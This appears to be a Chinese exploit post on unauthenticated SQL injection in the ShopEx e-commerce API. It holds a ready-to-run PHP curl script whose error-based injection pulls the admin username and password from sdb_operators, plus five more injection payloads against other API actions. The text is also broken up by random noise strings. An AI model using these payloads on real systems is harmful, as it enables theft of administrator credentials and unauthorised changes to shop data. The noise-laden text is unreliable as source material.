|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
$ V5 u% Y7 B" b! w3 ~& hcore\api\payment\1.0\api_b2b_2_0_payment_cfg.php
2 }5 H. O# A7 Z: P) g' a4 I0 O K* e8 O! F/ j/ X
第44行 $data['columns'] 未做过滤导致注入
$ |8 V: z& ~$ r6 X9 @' H* Z" P" t9 J3 X
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.8 J8 o% u8 |+ R7 |& t# M
: s+ P7 \/ V2 i3 P1 {# o- V
注射1:
. o/ e$ q$ r) \* J( L3 e
# L3 _1 b. w0 Q: [& M! ehttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
) V+ H* M. ^% ~2 |/ m
9 G4 i) I* w; t Q. o) G t注射2:
6 g2 d! A. r+ ~2 L: f1 e: bhttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}& W6 x7 }# S( i, U/ u! p: x
r* x7 G( y8 \7 }! U9 v& i8 a, U注射3:
" I8 ~5 s5 v/ ?6 @( b http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx5 z6 ^$ m9 G! f8 A
注射4:
0 G( \) b2 x% z3 q- @5 @: W) V
, E. z7 Q) x* w& l# Lhttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
3 P2 N8 d: c* U. l' A- G. q
) G% H, I- E+ E1 q8 l3 e' E: X
Z4 i! \8 y) c* ?/ L5 {0 n注射5:% J' _) w5 c8 F6 {
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx: ~, _0 [: f& g. J
( N8 `% D, ^8 P; C3 w) R6 K
! h1 ^; M. t+ w% r# M& @6 b7 I) L- P( }
9 s A# M9 A$ E# A2 m
& H+ w$ x/ M' ? @2 u5 s' K) H" G
0 f, e; S1 b# y) V+ [3 I: r6 W |
|